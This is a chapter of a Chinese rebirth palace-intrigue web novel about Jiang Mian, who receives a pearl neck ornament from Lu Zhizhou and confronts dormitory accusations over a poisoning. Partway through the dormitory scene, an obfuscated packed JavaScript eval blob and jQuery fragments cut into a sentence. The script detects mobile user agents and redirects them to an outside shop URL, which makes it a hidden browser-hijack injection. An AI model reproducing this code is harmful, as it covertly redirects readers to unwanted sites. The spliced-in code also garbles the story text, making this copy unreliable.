这几日,偏房里那股滞闷的伤药味渐渐淡去,反倒透进些残雪消融后的清寒气。
姜绵既应了承诺,便安分守己地留在知止堂里将养。这座宅院本就清静,她整日待在屋子里,竟是连陆知舟的一个照面都不曾打过。
前几日,卫民曾来敲过一回门,奉了陆知舟的命,送来一小盅熬得浓稠的药汁混蜜水、一罐白净的猪油,以及几方裁剪好的绡纱、素绢和防水的油绢。
卫民一板一眼地转述:“大人说,姑娘手上那处烫伤的痂皮前几日又擦破了,若是按着寻常大夫的法子晾干待它结痂,稍一动作便会崩裂,不仅好得慢,还定会留下一圈难看的疤。”
陆知舟教的包扎的法子出奇的精妙。先在伤处薄薄涂一层猪油打底,接着将轻软的绡纱在药汁蜜水里蘸透了敷上,中层覆上一块普通素绢,最外头则用那不透水的油绢严严实实包裹一匝,最后用细带缚住。
最外层的油绢隔湿锁药,里头的药汁半分不会滴漏。如此层层叠叠,却轻薄不笨重,缠在手上灵活无碍,连指骨腕部转动都不受丝毫阻滞。
姜绵当时看得暗自惊诧。她打小呆在药庐,都未曾见过这种养外伤的法子。
陆知舟这种把伤口捂在湿润里的法子听着稀奇,效果倒是不错,绵密的痛意被这湿凉的药液一润,竟真舒缓了大半。
光阴倏忽,转眼便到了该回太常寺销假的那日清晨。
姜绵刚挽好发髻,房门再次被叩响。
卫民双手递上一个沉甸甸的紫檀扁盒,低声道:“沈姑娘,这是大人吩咐送来的。说姑娘既要回去当差,脖颈上的勒伤总得遮掩一二,免得惹人盘问。”
姜绵接过来掀开。暗红的丝绒垫上,静静躺着一条金丝织珠宽边珠络。
无数纤细赤金缕绞织成细密通透的网状肌理,薄如蝉翼,宽幅刚好覆满颈间。缀饰的珍珠颗颗莹润饱满,柔光内敛,金丝底座软韧贴合肌肤,纹样繁复精巧,姜绵只一眼就能看出它价值不菲。
遮掩勒痕犯不着送这么好的东西,随便一根绢纱便足以。
姜绵拿起珠珞,在颈间一扣。不偏不倚,刚好绕颈一匝,将那道尚未褪尽的殷红勒痕遮得严严实实。
姜绵心头微动,目光里的喜色毫不掩饰。
铜镜里,原本苍白单薄的少女,生生被这灿亮的珠光托出了几分摄人的贵气。
她指腹一寸寸摩挲过圆润的珠身,脑海深处的一些记忆毫无遮掩地翻涌上来。
前世她在李府寄居时,有个同是来打秋风的远房表姑娘。
明明皆是寄人篱下,那表姑娘倒总端着副主人家的架子。
李亦棠骨子里清高,不看重这些黄白之物,常将些好首饰随手赠人。有次李亦棠随手赏了那表姑娘一只水头十足的羊脂玉镯,转头便叫眼红的李亦殊硬生生抢了去。
姜绵那时还存着几分息事宁人的善心,好言劝慰她不过是个镯子,犯不着为了它伤了姐妹间的情分。
彼时姜绵因得了宋宴清几句随口夸赞,获赠了一支素银錾花飞燕簪。
那表姑娘正愁没处撒气,见状反倒摆起千金小姐的谱来,冷声讥嘲姜绵是个没见识的土货,尤其是她头上的飞燕簪,都不知过气了几茬,怼她头上净簪点不入流的东西,连主次好歹都分不清。
姜绵当时没还半句嘴只是后来,她借着出府的由头,顺道去街面的银楼里探了探那簪子的底细。
果不其然。那支被宋宴清拿来充作恩赏、引得旁人眼红的飞燕簪,连个正经的錾印都没有。是唐家金银铺里主顾们打大件头面时,掌柜随手搭送的饶头。
虽说倒也值几个钱,但在汴京的贵人们眼里,的确不入流。
当时的姜绵心生妒恨,不声不响地将李亦殊夺去的那只真玉镯顺了出来,出府当了厚厚一叠银票。
而后又弄了只以假乱真的烧料琉璃镯子,神不知鬼不觉地塞进了那表姑娘的妆匣,引得李府上下拿贼拿赃。
闹到最后,表姑娘百口莫辩,被冠上偷窃主家之物的污名扫地出门。而李亦殊戴着那只假镯子招摇过市,竟也未曾察觉半分端倪。到头来,也不知到底谁才是那个不识货的笑话。
姜绵本就因出生低微而拜金慕权,后来也因此事无以复加。
若是她没这股气性,前世她也断不能从泥沼里一步步爬到那个高位。
犹记得她前世圣眷最盛时,连温向晚都要看她脸色,三个月里连晋两次,六宫都以为她要越过那道坎了,如她这般的出身,若是能做成贵妃,只怕史书上都能有她几笔。
世人皆赞颂清高寡欲,可清高不能当饭吃。这些黄白之物,就是她用来给自己生生造出来的一身鳞甲。
就像此刻颈间这条价值连城的珠珞。
此前她的确对陆知舟心存嫌恶。皆因前世他与李亦棠之间那扯不清的牵绊。更觉得自己有朝一日,能靠自己的手段一步步爬上去,最后亲手取了他的性命。
而那日暗巷里陆知舟的审视一般地施舍,于当时的她而言更是一种羞辱。
可开封府大狱走了一遭,温家明晃晃的杀意已悬在颈上,她亟需攀附一棵足够慑人的大树。
于是她不顾脸面地主动攀附,只为了借陆知舟和他背后鲁国公府的势。
彼时陆知舟嘴上算得清明,冷声说瞧不上她。可转头,这条珠珞便送到了她手里。
姜绵望着铜镜里那张被金珠映亮的脸,唇角缓缓勾起一抹清醒的弧度。
看来这条路并非行不通。
这般扎眼的贵重物件,刚好遮了牢里的勒痕,无异于在昭告温家,她身后有鲁国公府。
在摸清陆知舟的意图前,温向晚应当会投鼠忌器了。
……
太常寺,东舍。
刚踏入长廊,一股子劣质银丝炭混着甜腻脂粉的气味便迎面扑来,闷闷地沉在逼仄的院子里。
姜绵步子迈得不重,还没走到房门口,便听见里头传来一阵凄凄切切的哭诉声。
“……可怜金盏那丫头,打小便跟着我,如今竟落得个七窍流血的惨死下场。”
林半夏坐在榻沿上,拿着帕子直抹眼泪,哭得梨花带雨、好不娇弱:“分明是她姜绵心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741348|203151||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
肠歹毒,在茶水里下了雷公藤。人证物证俱在,开封府衙的人也是连夜将她锁拿走的。谁成想,这案子竟就这么没头没脑地结了,甚至连追究都不曾追究一句……”
“杀人偿命,天经地义。莫不是她暗地里攀上了什么了不得的高枝,连开封府都敢包庇她?”
林半夏红着眼圈,咬着唇瓣,向东舍内其他女使倾吐:“我倒不求别的,只求这青天白日之下能有个说理的地方,好歹还金盏一个公道。如今她大摇大摆地被放出来,咱们这东舍里,往后谁还敢安生睡下……”
江采采忍不住出声:“林姑娘你失去自幼作陪的婢女伤心我是理解的……可这沈姑娘当真有这般心狠手辣么?”
陈婉宁道:“知人知面不知心我是知晓的,可若她当真是那样的人,往后我们同她可还要宿在一处未免……”
“吱呀——”
姜绵站在门槛外,缓缓收回推门的手,神色平淡地扫视了一圈。
屋内的啜泣声戛然而止。几人还未出口的话齐刷刷卡在了嗓子眼里,齐齐看着门口那道纤瘦的身影。
“我自然是正大光明走出来的。”姜绵扯了扯唇角,语气里满是讥诮,“托林姑娘的福,开封府的大牢确实冷得很。只可惜,大人们查明了真相,知道那毒根本不是我下的,自然不敢留我。”
“你撒谎!”林半夏气急败坏,浑身发抖,“那点心明明是指名道姓送给你的!分明是你心思歹毒,在里头下了雷公藤,想害死我!可怜我的金盏替我遭了这等无妄之灾!”
“林姑娘在家里过了个正旦可是把脑子落家中了?”姜绵逼近半步,盯着她,“怎会有人下毒后还蠢到把写着自己名字的食盒,堂而皇之地摆在桌上等你来吃?”
林半夏被噎得一僵。
姜绵冷笑:“那是别人送来要我命的。是你自己眼皮子浅,不问自取,又拿去赏了你的婢女,害她做了替死鬼!你夜里可得仔细些,别叫金盏错认了凶手,寻你索命。”
这话说得阴恻。林半夏面无人色,哆嗦着指她:“青天白日的,你少吓唬人!”
正僵持间,一名管事女使端着红漆签筒跨进门槛,扫了众人一眼:“正巧都在。掌库有令,后头新修的屋舍腾出来了。即日起两人一间,为防生事,抽签定夺,谁也不许挑拣。”
言罢,她将签筒往八仙桌上一搁。
众人面面相觑。方才的对峙听得真切,食盒里吃死了人也是真。这等要命的关头,谁敢同姜绵住一个屋檐下?
林半夏像躲瘟神般连退两步,尖声道:“我不跟她住!她自己不要命,我还要命。谁同她一间,谁就是下一个金盏!”
其余女使皆默不作声地垂下眼,陈婉宁更是往后挪了半步,避嫌之意昭然若揭。
姜绵冷眼瞧着,心底并无波澜。忽听后头响起一道清柔嗓音:“既都有顾虑,那便由我同沈姑娘一间吧。”
李亦棠缓步走出,眉眼温婉,落落大方:“左右不过同宿,我不怕这些无稽之谈。”
姜绵眸光微动。这人这一世怎的如膏药一般,当真这般欣赏她?